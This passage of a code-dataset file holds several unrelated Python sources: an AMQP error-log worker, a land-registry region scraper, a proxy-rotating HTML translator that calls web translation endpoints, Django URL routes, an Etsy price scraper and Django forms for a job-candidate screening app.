create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom os import environ\n\nimport datetime as dt\n\nBase = declarative_base()\n\n# engine = create_engine('mysql+mysqlconnector://root@localhost:3306/error')\nengine = create_engine(environ.get('dbURL') or 'mysql+mysqlconnector://root@localhost:3306/error')\n\nSession = sessionmaker(bind=engine)\nsession = Session()\n\nclass Error(Base):\n __tablename__ = 'Error'\n error_id = Column(Integer(), primary_key=True)\n code = Column(Integer(), nullable=False)\n data = Column(String(1000), nullable=False)\n message = Column(String(128), nullable=False)\n timestamp= Column(DateTime, default=dt.datetime.now())\n\n def __init__(self, code, data, message):\n self.code = code\n self.data = data\n self.message = message\n\n def json(self):\n return {\"activity_id\": self.activity_id, \"code\": self.code, \"data\": self.data, \"message\": self.message, \"timestamp\": self.timestamp}\n\n\n\ndef callback(channel, method, properties, body): # required signature for the callback; no return\n print(\"\\nReceived a log by \" + __file__)\n processErrorLog(body)\n print() # print a new line feed\n\ndef processErrorLog(data):\n print(json.loads(data)['code'])\n data = json.loads(data.decode('UTF-8'))\n #check if send to activity or error depending on code\n log = Error(code=data['code'],data=json.dumps(data['data']),message=data['message'])\n\n\n session.add(log)\n session.commit()\n print(\"Recording an error log:\")\n print(log.json())\n\n\n#Setting up activity_log and error exchange\nprint('\\n --Setting up exchange-- \\n')\namqp_setup.channel.exchange_declare(exchange='activity_error_exchange', exchange_type='topic', durable=True)\n\n#Setting up error queue\nprint('--Setting up error queue-- \\n')\namqp_setup.channel.queue_declare(queue='error_queue', durable=True)\namqp_setup.channel.queue_bind(exchange='activity_error_exchange', queue='error_queue', routing_key='error')\n\nprint('--Initiate error worker-- \\n')\namqp_setup.channel.basic_consume(queue='error_queue', on_message_callback=callback, auto_ack=True)\n\nprint('\\n--Start listening for messages....-- \\n')\namqp_setup.channel.start_consuming() # an implicit loop waiting to receive messages; \n\n\n\n\n \n","sub_path":"simple/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"278581042","text":"# Author: ivy\n# Version: Python 3.8\n# Date: 2021/03/12\n\n# 功能:把行政区选择框内的从属关系及其对应的id爬取下来\n# 输出为 adcode.json\n# 需要先去”https://www.landchina.com/ExtendModule/WorkAction/EnumSelectEx.aspx?group=1&n=TAB_queryTblEnumItem_256\"的源码里把第一集的名字和id存下来\n# 网站中手动存下来的文件命名为 originNodes.json\n\nimport requests\nimport json\nimport random, time\nimport traceback\nimport sys\n\n\noNodes_path = \"originNodes.json\"\n\n# 读取初级节点文件\ndef read_json(json_path):\n with open(json_path, 'r', encoding='utf8') as f:\n data = json.load(f)\n return data[\"zNodes\"]\n\n\ndef req(id):\n url = \"https://www.landchina.com/ExtendModule/WorkAction/EnumHandler.ashx\"\n\n headers = {\n \"accept\": \"text/plain, */*; q=0.01\",\n \"accept-encoding\": \"gzip, deflate, br\",\n \"accept-language\": \"zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7\",\n \"content-length\": \"13\",\n \"content-type\": \"application/x-www-form-urlencoded\",\n \"cookie\": \"ASP.NET_SessionId=40g1s1kowx5md4035edrgv0g; Hm_lvt_83853859c7247c5b03b527894622d3fa=1615359545,1615425341,1615526595; Hm_lpvt_83853859c7247c5b03b527894622d3fa=1615526878\",\n \"dnt\": \"1\",\n \"origin\": \"https://www.landchina.com\",\n \"referer\": \"https://www.landchina.com/ExtendModule/WorkAction/EnumSelectEx.aspx?group=1&n=TAB_queryTblEnumItem_256\",\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36\"\n }\n\n data = {\n \"id\": id,\n \"group\": 1\n }\n\n try:\n time.sleep(random.randint(1,5))\n res = requests.post(url, headers=headers, data=data)\n data = res.json()\n return data\n except Exception as e:\n print(e)\n traceback.print_exc()\n sys.exit(1)\n\n\nfdata = []\noNodes = read_json(oNodes_path)\nfor level1_node in oNodes:\n # level 1\n level1_oname = level1_node[\"name\"]\n level1_oid = level1_node[\"value\"]\n print(\"Working on\", level1_oname, \"...\")\n\n level1_tmp = {\n \"name\": level1_oname,\n \"id\": level1_oid\n }\n\n if level1_node[\"isParent\"]:\n level2_nodes = req(level1_oid)\n\n level2_tmp_ls = []\n\n for level2_node in level2_nodes:\n # level 2\n level2_oname = level2_node[\"name\"]\n level2_oid = level2_node[\"value\"]\n\n print(\" Working on\", level2_oname, \"...\")\n\n level2_tmp = {\n \"name\": level2_oname,\n \"id\": level2_oid\n }\n\n if level2_node[\"isParent\"]:\n level3_nodes = req(level2_oid)\n\n level3_tmp_ls = []\n\n for level3_node in level3_nodes:\n print(\" Working on\", level3_node[\"name\"], \"...\")\n # level 3\n level3_tmp_ls.append({\n \"name\": level3_node[\"name\"],\n \"id\": level3_node[\"value\"]\n })\n \n level2_tmp[\"district\"] = level3_tmp_ls\n \n level2_tmp_ls.append(level2_tmp)\n\n level1_tmp[\"city\"] = level2_tmp_ls\n\n fdata.append(level1_tmp)\n\nwith open('adcode.json','w',encoding='utf8')as f:\n json.dump({\"code\": fdata}, f, ensure_ascii=False)\n\nprint(\"All done\")","sub_path":"getAdcode.py","file_name":"getAdcode.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"311261772","text":"# -*- coding:utf-8 -*-\nimport re\nimport os\nimport sys\nimport json\nimport random\nimport requests\nimport traceback\n\nfrom functools import wraps, partial\nfrom argparse import ArgumentParser\nfrom googletrans.gtoken import TokenAcquirer\n\n\nclass Translate:\n \"\"\"\n 翻译类\n \"\"\"\n proxy_list = [None]\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n \"Accept-Language\": \"en-US,en;q=0.5\",\n }\n\n def __init__(self, web_site, proxy_list=\"./proxy.list\", proxy_auth=None, retry_times=10, translate_timeout=5, load_module=None):\n self.web_site = web_site.split(\",\")\n self.proxy = {}\n self.proxy_auth = proxy_auth\n self.retry_times = retry_times\n self.translate_timeout = translate_timeout\n self.site_func = dict()\n self.session = requests.Session()\n self.acquirer = TokenAcquirer(session=self.session)\n\n if os.path.exists(proxy_list):\n self.proxy_list = [i.strip() for i in open(proxy_list).readlines() if (i.strip() and i.strip()[0] != \"#\")]\n\n if load_module:\n sys.path.insert(0, os.getcwd())\n attr = vars(__import__(load_module, fromlist=load_module))\n\n for k, v in attr.items():\n if hasattr(v, \"__call__\"):\n self.site_func[k] = v\n\n def __getattr__(self, item):\n if item in self.site_func:\n return partial(self.site_func[item], self=self)\n raise AttributeError(item)\n\n def proxy_choice(self):\n return self.proxy_list and self.proxy_list[0] and {\"http\": \"http://%s%s\"%(\n \"%s@\"%self.proxy_auth if self.proxy_auth else \"\" , random.choice(self.proxy_list))}\n\n def trans_error_handler(self, func_name, retry_time, e, *args, **kwargs):\n \"\"\"\n error_handler实现参数\n :param func_name: 重试函数的名字\n :param retry_time: 重试到了第几次\n :param e: 需要重试的异常\n :param args: 重试参数的参数\n :param kwargs: 重试参数的参数\n :return: 当返回True时,该异常不会计入重试次数\n \"\"\"\n print(\"Error in %s for retry %s times. Error: %s\"%(func_name, retry_time, e))\n args[1].update(self.proxy_choice())\n\n def translate(self, src):\n \"\"\"\n 翻译主函数\n :param src: 源\n :return: 结果\n \"\"\"\n try:\n # 找出大于号和小于号之间的字符,使用换行符连接,进行翻译\n pattern = re.compile(r\"(?:^|(?<=>))([\\s\\S]*?)(?:(?=<)|$)\")\n ls = re.findall(pattern, src.replace(\"\\n\", \"\"))\n src_data = \"\\n\".join(x.strip(\"\\t \") for x in ls if x.strip())\n if src_data.strip():\n # 对源中的%号进行转义\n src_escape = src.replace(\"%\", \"%%\")\n # 将源中被抽离进行翻译的部分替换成`%s`, 如果被抽离部分没有实质内容(为空),则省略\n src_template = re.sub(pattern, lambda x: \"%s\" if x.group(1).strip() else \"\", src_escape)\n return self.retry_wrapper(self.retry_times, self.trans_error_handler)(\n self._translate)(src_data, self.proxy or self.proxy_choice()\n or self.proxy, src_template)\n else:\n return src\n except Exception:\n print(\"Error in translate, finally, we could not get the translate result. src: %s, Error: %s\"%(\n src, traceback.format_exc()))\n return src\n\n def _translate(self, src, proxies, src_template):\n return getattr(self, random.choice(self.web_site).strip())(src, proxies, src_template)\n\n def youdao(self, src_data, proxies, src_template):\n \"\"\"\n 有道翻译的实现(废弃)\n :param src_data: 原生数据\n :param proxies: 代理\n :param src_template: 原生数据模板\n :return: 结果\n \"\"\"\n url = \"http://fanyi.youdao.com/translate\"\n resp = requests.post(url=url, data={\n 'keyfrom': 'fanyi.web',\n 'i': src_data,\n 'doctype': 'json',\n 'action': 'FY_BY_CLICKBUTTON',\n 'ue': 'UTF-8',\n 'xmlVersion': '1.8',\n 'type': 'AUTO',\n 'typoResult': 'true'}, headers=self.headers,\n timeout=self.translate_timeout, proxies=proxies)\n return src_template % tuple(map(lambda y: \"\".join(\n map(lambda x: x[\"tgt\"], y)), json.loads(resp.text)[\"translateResult\"]))\n\n def baidu(self, src_data, proxies, src_template):\n \"\"\"\n 百度翻译的实现, 百度翻译最长只能翻译5000个字符\n :param src_data: 原生数据\n :param proxies: 代理\n :param src_template: 原生数据模板\n :return: 结果\n \"\"\"\n url = \"http://fanyi.baidu.com/v2transapi\"\n resp = requests.post(url=url, data={\n 'from': 'en',\n 'to': 'zh',\n 'transtype': 'realtime',\n 'query': src_data,\n 'simple_means_flag': 3}, headers=self.headers,\n timeout=self.translate_timeout, proxies=proxies)\n return src_template % tuple(\n \"\".join(map(lambda x: x[\"src_str\"], json.loads(resp.text)[\"trans_result\"]['phonetic'])).split(\"\\n\"))\n\n def qq(self, src_data, proxies, src_template):\n \"\"\"\n 腾讯翻译的实现, 腾讯翻译最长只能翻译2000个字符\n :param src_data: 原生数据\n :param proxies: 代理\n :param src_template: 原生数据模板\n :return: 结果\n \"\"\"\n url = 'http://fanyi.qq.com/api/translate'\n resp = requests.post(\n url, data={'source': 'auto', 'target': 'en', 'sourceText': src_data},\n headers=self.headers, timeout=self.translate_timeout, proxies=proxies)\n print(resp.text)\n return src_template % tuple(\n record[\"targetText\"] for record in json.loads(resp.text)[\"records\"] if record.get(\"sourceText\") != \"\\n\")\n\n def google(self, src_data, proxies, src_template):\n url = 'https://translate.google.cn/translate_a/single'\n data = {\n 'client': 't',\n 'sl': \"auto\",\n 'tl': \"zh\",\n 'hl': \"zh\",\n 'dt': ['at', 'bd', 'ex', 'ld', 'md', 'qca', 'rw', 'rm', 'ss', 't'],\n 'ie': 'UTF-8',\n 'oe': 'UTF-8',\n 'otf': 1,\n 'ssel': 0,\n 'tsel': 0,\n 'tk': self.acquirer.do(src_data),\n 'q': src_data,\n }\n resp = self.session.get(url, params=data, headers=self.headers,\n timeout=self.translate_timeout, proxies=proxies)\n return self.merge_conflict(src_template, [line[0] for line in json.loads(resp.text)[0]])\n\n @staticmethod\n def merge_conflict(src_template, returns):\n return src_template % tuple(returns[:src_template.count(\"%s\")])\n\n @staticmethod\n def retry_wrapper(retry_times, error_handler=None):\n \"\"\"\n 重试装饰器\n :param retry_times: 重试次数\n :param error_handler: 重试异常处理函数\n :return:\n \"\"\"\n def out_wrapper(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n count = 0\n\n while True:\n try:\n return func(*args, **kwargs)\n except Exception as e:\n count += 1\n\n if error_handler:\n result = error_handler(func.__name__, count, e, *args, **kwargs)\n if result:\n count -= 1\n\n if count >= retry_times:\n raise\n return wrapper\n return out_wrapper\n\n @classmethod\n def parse_args(cls):\n parser = ArgumentParser()\n parser.add_argument(\"-ws\", \"--web-site\", default=\"baidu,qq,google\", help=\"Which site do you want to use for translating, split by `,`?\")\n parser.add_argument(\"-pl\", \"--proxy-list\", help=\"The proxy.list contains proxy to use for translating. default: ./proxy.list\")\n parser.add_argument(\"-pa\", \"--proxy-auth\", help=\"Proxy password if have. eg. user:password\")\n parser.add_argument(\"-rt\", \"--retry-times\", type=int, default=10, help=\"If translate failed retry times. default: 10\")\n parser.add_argument(\"-tt\", \"--translate-timeout\", type=int, default=5, help=\"Translate timeout. default: 5\")\n parser.add_argument(\"-lm\", \"--load-module\", help=\"The module contains custom web site functions which may use for translating. eg: trans.google\")\n parser.add_argument(\"src\", nargs=\"+\", help=\"The html you want to translate. \")\n data = vars(parser.parse_args())\n src = data.pop(\"src\")\n return cls(**dict(filter(lambda x: x[1], data.items()))).translate(\" \".join(src))\n\n\ndef main():\n print(Translate.parse_args())\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":9200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"364780605","text":"from django.conf.urls import patterns, url\n\nfrom med_social.decorators import member_required\n\nfrom vendors.views import (CreateVendorService, VendorServicesList, DeleteVendorService)\n\n# namespace = services\nurlpatterns = patterns('',\n url(r'^(?P\\d+)/create/$', member_required(CreateVendorService.as_view()),\n name='create'),\n url(r'^(?P\\d+)/list/$', member_required(VendorServicesList.as_view()),\n name='list'),\n url(r'^(?P\\d+)/delete/$', member_required(DeleteVendorService.as_view()), name='delete'),\n )\n","sub_path":"apps/vendors/services_urls.py","file_name":"services_urls.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"580362485","text":"from bs4 import BeautifulSoup\nimport urllib2\n\nrootUrl = \"https://www.etsy.com/search?q=\"\nitem = \"world%20globes\"\n\ndef get_soup(url,header):\n return BeautifulSoup(urllib2.urlopen(urllib2.Request(url,headers=header)),'html.parser')\n\n# soup settings \nurl = rootUrl + item\nheader={'User-Agent':\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36\"}\n\nsoup = get_soup(url,header)\n\nprices = soup.findAll(attrs={\"class\":\"currency-value\"})\nnames = soup.findAll(attrs={\"class\":\"text-gray text-truncate mb-xs-0 text-body\"})\n\nf = open('globePrices.txt', 'w')\n\nprint(names[0].string.split('\\n'))\n\nfor i in prices:\n\tf.write('$' + i.string + '\\n')\n\t\nf.close()\n","sub_path":"Scrapers/scrapey.py","file_name":"scrapey.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"483185834","text":"from django import forms\nfrom django.db.models import Count, F\nfrom scoring.settings import BLANK_CHOICE_DASH2\nfrom candidate.models import Candidate, Document, Questionnaire, DocumentTypes, Positions, Cities, Regions,\\\n REGULATIONS, SECURITY_SOLUTION, SEX_AND_EMPTY\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Fieldset, Div, Field, HTML # , ButtonHolder, Submit, MultiField, MultiWidgetField\nfrom bootstrap_datepicker_plus import DatePickerInput\n\n# class DatePickerBaseInputLocal(DatePickerBaseInput):\n#\n# def __init__(self, attrs={}, format=None, options={}):\n# super(DatePickerBaseInputLocal, self).__init__(attrs={}, format=None, options={})\n#\n# class Media:\n# js = (\n# 'bootstrap_datepicker_plus/js/moment-with-locales.min.js',\n# 'bootstrap_datepicker_plus/js/bootstrap-datetimepicker.min.js',\n# 'bootstrap_datepicker_plus/js/datepicker-widget.js'\n# )\n# css = {'all': (\n# 'bootstrap_datepicker_plus/css/bootstrap-datetimepicker.css',\n# 'bootstrap_datepicker_plus/css/datepicker-widget.css'\n# ), }\n#\n#\n# class DatePickerInputLocal(DatePickerBaseInputLocal):\n# picker_type = 'DATE'\n# format = '%m/%d/%Y'\n# format_key = 'DATE_INPUT_FORMATS'\n\n\nclass DDForm(forms.ModelForm):\n # doc_type = forms.CharField(label=\"\", required=False, disabled=True, widget=forms.Select(choices=DOC_TYPE))\n # reject_reason = forms.CharField(label=\"Изображение отклонено по причине:\", required=False, disabled=True,\n # max_length=512, widget=forms.Textarea()\n # )\n coment = forms.CharField(label=\"Комментарий:\", required=False, max_length=512, widget=forms.Textarea())\n\n attribute1 = forms.CharField(label=\"Серия\", required=False,widget=forms.TextInput())\n\n attribute2 = forms.CharField(label=\"Номер\", required=False, widget=forms.TextInput())\n\n # issue_date = forms.DateField(label=\"Дата выдачи\", required=False, #input_formats=['%d-%m-%Y'],\n # widget=forms.SelectDateWidget(empty_label=(\"Год\", \"Месяц\", \"День\"),\n # attrs={'style': 'width: 33%; display: inline-block;'}))\n\n issue_date = forms.DateField(label=\"Дата выдачи\", required=False,\n widget=DatePickerInput(format='%d.%m.%Y',\n options={\n \"locale\": \"ru\",\n \"showClose\": True,\n \"showClear\": True,\n \"showTodayButton\": False,\n },\n ))\n\n # widget=forms.DateInput(format=('%d-%m-%Y'),\n # attrs={'class': 'myDateClass', 'placeholder': 'Введите дату','style': 'font-size: large'}))\n\n def __init__(self, *args, **kwargs):\n super(DDForm, self).__init__(*args, **kwargs)\n\n self.instance = kwargs.get('instance', None)\n # self.fields['doc_type'].disabled = True\n # self.fields['doc_type'].required = False\n # self.fields['doc_type'].label = ''\n self.helper = FormHelper()\n # self.helper.form_id = 'id-DDForm'\n # self.helper.form_class = 'blueForms'\n # self.helper.form_method = 'post'\n # self.helper.form_action = 'document_details'\n self.helper.form_tag = False\n self.helper.layout = Layout()\n if self.instance:\n # self.fields['issue_date'].widget.attrs['class'] = 'datepicker'\n # if self.instance.reject_reason:\n # self.helper.layout.append(Div(Field('reject_reason', rows=1), css_class='alert alert-danger'))\n # self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n\n if self.instance.type.code == 'PASSPORT' and self.instance.doc_page_num == 1:\n self.fields['attribute1'].required = True\n self.fields['attribute2'].required = True\n\n self.fields['attribute3'].label = 'Фамилия'\n self.fields['attribute4'].label = 'Имя'\n self.fields['attribute5'].label = 'Отчество'\n self.fields['attribute6'].label = 'Дата рождения'\n self.fields['attribute6'].widget = DatePickerInput(format='%d.%m.%Y',\n options={\n \"locale\": \"ru\",\n \"showClose\": True,\n \"showClear\": True,\n \"showTodayButton\": False,\n },)\n self.helper.layout.append(\n Fieldset(\n 'Паспортные данные',\n Div(\n Field('attribute1', placeholder='',\n wrapper_class='col-md-3'),\n Field('attribute2', placeholder='',\n wrapper_class='col-md-4'),\n Field('issue_date', placeholder='ДД.ММ.ГГГГ',\n wrapper_class='col-md-5'),\n css_class='form-row'\n ),\n Div(\n Field('attribute3', placeholder='',\n wrapper_class='col-md-6'),\n Field('attribute4', placeholder='',\n wrapper_class='col-md-6'),\n css_class='form-row'\n ),\n Div(\n Field('attribute5', placeholder='',\n wrapper_class='col-md-7'),\n Field('attribute6', placeholder='',\n wrapper_class='col-md-5'),\n css_class='form-row'\n ),\n )\n # Field('reject_reason', rows=2)\n )\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n elif self.instance.type.code == 'SNILS' and self.instance.doc_page_num == 1:\n self.fields['attribute1'].required = True\n self.fields['attribute1'].label = 'Номер'\n self.helper.layout.append(\n Fieldset(\n 'Номер СНИЛС',\n Div(\n Field('attribute1', placeholder='',\n wrapper_class='col-md-8')\n ),\n )\n # Field('reject_reason', rows=2)\n )\n else:\n pass\n\n self.helper.layout.append(Div(Field('coment', rows=1)))\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n\n # def form_valid(self, form):\n # form.instance.net = form.instance.qty * form.instance.price\n # order = Order.objects.get(pk=self.kwargs['order_id'])\n # subtotal = OrdersPlaced.objects.filter(order=order).aggregate(Sum('net'))['net__sum']\n # order.subtotal = subtotal\n # order.save()\n # return super(DDForm, self).form_valid(form)\n\n # def save(self, commit=True):\n # self.cleaned_data = dict([(k, v) for k, v in self.cleaned_data.items() if v != \"\"])\n # return super(DDForm, self).save(commit=commit)\n\n # def queryset(self, request):\n # return super(DDForm, self).queryset(request).select_related('type')\n\n # def clean_issue_date(self):\n # cleaned_data = self.clean()\n # res = cleaned_data.get('issue_date')\n # if 1>0:\n # raise forms.ValidationError(\"You have forgotten about Fred!\")\n # return res\n\n class Meta:\n model = Document\n fields = [\"attribute1\", \"attribute2\", \"attribute3\", \"attribute4\", \"attribute5\", \"attribute6\",\n \"issue_date\", \"coment\"]\n\n\nclass DocAddForm(forms.ModelForm):\n doc_type = forms.ModelChoiceField(label=\"Тип документа\", required=True,\n queryset=DocumentTypes.objects.filter(can_manual_add='Y').order_by('name'))\n\n def __init__(self, *args, **kwargs):\n candidate_id = kwargs.pop('candidate_id', None)\n super(DocAddForm, self).__init__(*args, **kwargs)\n # self.instance = kwargs.get('instance', None)\n if candidate_id:\n exist_docs = Document.objects.filter(candidate_id=candidate_id). \\\n filter(doc_type_num__gte=F('type__max_documents')).values('type_id')\n # exclude(type__max_documents__gte=F('doc_type_num')).values('type_id')\n self.fields['doc_type'].queryset = DocumentTypes.objects.filter(can_manual_add='Y').\\\n exclude(id__in=exist_docs).order_by('name')\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout()\n self.helper.layout.append(\n Div(Field('doc_type', wrapper_class='col-md-12')))\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n\n class Meta:\n model = DocumentTypes\n fields = [\"doc_type\"]\n\n\nclass StatementAddForm(forms.ModelForm):\n doc_number = forms.CharField(label=\"\", required=False)\n reason = forms.ModelChoiceField(label=\"\", required=True, empty_label=None, to_field_name='code',\n queryset=Questionnaire.objects.filter(quest_type='CANDIDATE').order_by('name'))\n\n def __init__(self, *args, **kwargs):\n super(StatementAddForm, self).__init__(*args, **kwargs)\n self.instance = kwargs.get('instance', None)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout()\n if self.instance:\n self.fields['reason'].queryset = Questionnaire.objects.filter(quest_type=self.instance.type.code).\\\n order_by('name')\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n self.fields['type'].disabled = True\n self.fields['type'].label = ''\n if self.instance.type.code == 'SNILS':\n # self.fields['doc_number'].required = True\n self.helper.layout.append(\n Fieldset(\n 'Выберите основание для заявления',\n Div(\n Field('type',\n wrapper_class='col-md-3'),\n Field('reason',\n wrapper_class='col-md-6'),\n Field('doc_number',\n placeholder='Введите номер СНИЛС',\n wrapper_class='col-md-3'),\n css_class='form-row'\n )))\n else:\n self.helper.layout.append(\n Fieldset(\n 'Выберите основание для заявления',\n Div(\n Field('type',\n wrapper_class='col-md-3'),\n Field('reason',\n wrapper_class='col-md-9'),\n css_class='form-row'\n )))\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n\n class Meta:\n model = Document\n fields = [\"type\"]\n\n\nclass StateServiceForm(forms.ModelForm):\n # state_service_emp = forms.BooleanField(label=\"Я являлся государственным и/или муниципальным \"\n # \"государственным служащим в течении последних двух лет\",\n # required=False)\n state_organization = forms.CharField(label=\"Наименование организации\", required=False,\n widget=forms.TextInput(attrs={'style': 'font-size: large'}))\n\n state_position = forms.CharField(label=\"Должность в организации\", required=False,\n widget=forms.TextInput(attrs={'style': 'font-size: large'}))\n\n def __init__(self, *args, **kwargs):\n super(StateServiceForm, self).__init__(*args, **kwargs)\n self.instance = kwargs.get('instance', None)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout()\n if self.instance:\n self.helper.layout.append(\n Fieldset(\n 'Наименование государственной организации и должность',\n Div(\n Field('state_organization',\n placeholder='Введите организацию',\n # css_class='form-control',\n wrapper_class='col-md-6'),\n Field('state_position',\n placeholder='Введите должность',\n # css_class='form-control',\n wrapper_class='col-md-4'),\n css_class='form-row'\n )))\n # self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n # self.helper.layout.append(Div(Field('state_service_emp')))\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n else:\n pass\n\n class Meta:\n model = Candidate\n fields = [\"state_service_emp\", \"state_organization\", \"state_position\"]\n\n\nclass CheckCandidateDataForm(forms.ModelForm):\n\n data_checked_comment = forms.CharField(label=\"Укажите какие данные заполнены неверно\", required=True,\n max_length=512, widget=forms.Textarea())\n\n data_checked = forms.NullBooleanField(label=u'Данные проверены кандидатом', widget=forms.HiddenInput(), initial=0)\n\n def __init__(self, *args, **kwargs):\n super(CheckCandidateDataForm, self).__init__(*args, **kwargs)\n self.instance = kwargs.get('instance', None)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout()\n if self.instance:\n self.helper.layout.append(Div(Field('data_checked_comment', rows=1)))\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n else:\n pass\n\n def clean(self):\n cleaned_data = super().clean()\n cleaned_data[\"data_checked\"] = 0\n return cleaned_data\n\n class Meta:\n model = Candidate\n fields = [\"data_checked_comment\", \"data_checked\"]\n\n\nclass CandidateEmailUpdForm(forms.ModelForm):\n\n email = forms.CharField(label=\"Укажите адрес электронной почты\", required=True)\n\n def __init__(self, *args, **kwargs):\n super(CandidateEmailUpdForm, self).__init__(*args, **kwargs)\n self.instance = kwargs.get('instance', None)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout()\n if self.instance:\n self.helper.layout.append(Div(Field('email')))\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n else:\n pass\n\n class Meta:\n model = Candidate\n fields = [\"email\"]\n\n\nclass AllowProcPersDataForm(forms.ModelForm):\n\n allow_process_personal_data = forms.BooleanField(label=\"Согласен\", required=True)\n\n # def clean_state_service_emp(self):\n # return True\n\n def __init__(self, *args, **kwargs):\n super(AllowProcPersDataForm, self).__init__(*args, **kwargs)\n self.instance = kwargs.get('instance', None)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout()\n if self.instance:\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n self.helper.layout.append(Div(HTML(\"\"\"

Нажимая кнопку \"Сохранить\" я даю согласие на обработку моих персональных \n данных в соответствии с Федеральным законом от 27.06.2006 года №152-ФЗ \"О персональных данных\" на условиях \n и для целей определенных в Согласии на обработку персональных данных.

\"\"\"), css_class='border-top my-1'))\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n self.helper.layout.append(Div(Field('allow_process_personal_data'), css_class='border-top my-1'))\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n else:\n pass\n\n class Meta:\n model = Candidate\n fields = [\"allow_process_personal_data\"]\n\n\nclass CandidateUpdForm (forms.ModelForm):\n region = forms.ModelChoiceField(required=False, queryset=Regions.objects.all().order_by('name'),\n empty_label=BLANK_CHOICE_DASH2, to_field_name='code', label=u'Регион')\n\n city = forms.ModelChoiceField(required=False, queryset=Cities.objects.all().order_by('name'),\n empty_label=BLANK_CHOICE_DASH2, to_field_name='code', label=u'Город')\n\n # full_name = forms.CharField(required=True, label=u'ФИО')\n first_name = forms.CharField(required=True, label=u'Имя')\n last_name = forms.CharField(required=True, label=u'Фамилия')\n middle_names = forms.CharField(required=False, label=u'Отчество')\n sex = forms.ChoiceField(choices=SEX_AND_EMPTY, required=False, label=u'Пол')\n\n birth_date = forms.DateField(label=\"Дата рождения\", required=False,\n widget=DatePickerInput(format='%d.%m.%Y',\n options={\n \"locale\": \"ru\",\n \"showClose\": True,\n \"showClear\": True,\n \"showTodayButton\": False,\n }))\n\n position = forms.ModelChoiceField(required=False, queryset=Positions.objects.all().order_by('name'),\n empty_label=BLANK_CHOICE_DASH2, label=u'Предполагаемая должность')\n selling_office = forms.CharField(required=False, label=u'Предп. подразделение')\n start_work_date = forms.DateField(label=\"Предп. дата выхода\", required=False,\n widget=DatePickerInput(format='%d.%m.%Y',\n options={\n \"locale\": \"ru\",\n \"showClose\": True,\n \"showClear\": True,\n \"showTodayButton\": False,\n }))\n regulations = forms.ChoiceField(choices=REGULATIONS, required=False, label=u'Регламент')\n place_of_birth = forms.CharField(required=False, label=u'Место рождения')\n registration_address = forms.CharField(required=False, label=u'Адрес по прописке')\n passport_ser = forms.CharField(required=False, label=u'Серия паспорта')\n passport_num = forms.CharField(required=False, label=u'Номер паспорта')\n passport_date = forms.DateField(label=\"Дата выдачи\", required=False,\n widget=DatePickerInput(format='%d.%m.%Y',\n options={\n \"locale\": \"ru\",\n \"showClose\": True,\n \"showClear\": True,\n \"showTodayButton\": False,\n }))\n last_work_place = forms.CharField(required=False, label=u'Последнее место работы')\n last_work_place_region = forms.CharField(required=False, label=u'Регион посл. место работы')\n last_work_period = forms.CharField(required=False, label=u'Период работы')\n\n security_solution = forms.ChoiceField(choices=SECURITY_SOLUTION, required=False, label=u'Решение')\n\n def __init__(self, *args, **kwargs):\n super(CandidateUpdForm, self).__init__(*args, **kwargs)\n self.instance = kwargs.get('instance', None)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout()\n\n if self.initial['security_solution']:\n self.fields['region'].disabled = True\n self.fields['city'].disabled = True\n self.fields['selling_office'].disabled = True\n self.fields['position'].disabled = True\n self.fields['regulations'].disabled = True\n self.fields['start_work_date'].disabled = True\n # self.fields['full_name'].disabled = True\n self.fields['first_name'].disabled = True\n self.fields['last_name'].disabled = True\n self.fields['middle_names'].disabled = True\n self.fields['sex'].disabled = True\n self.fields['birth_date'].disabled = True\n self.fields['passport_ser'].disabled = True\n self.fields['passport_num'].disabled = True\n self.fields['passport_date'].disabled = True\n self.fields['last_work_place'].disabled = True\n self.fields['last_work_place_region'].disabled = True\n 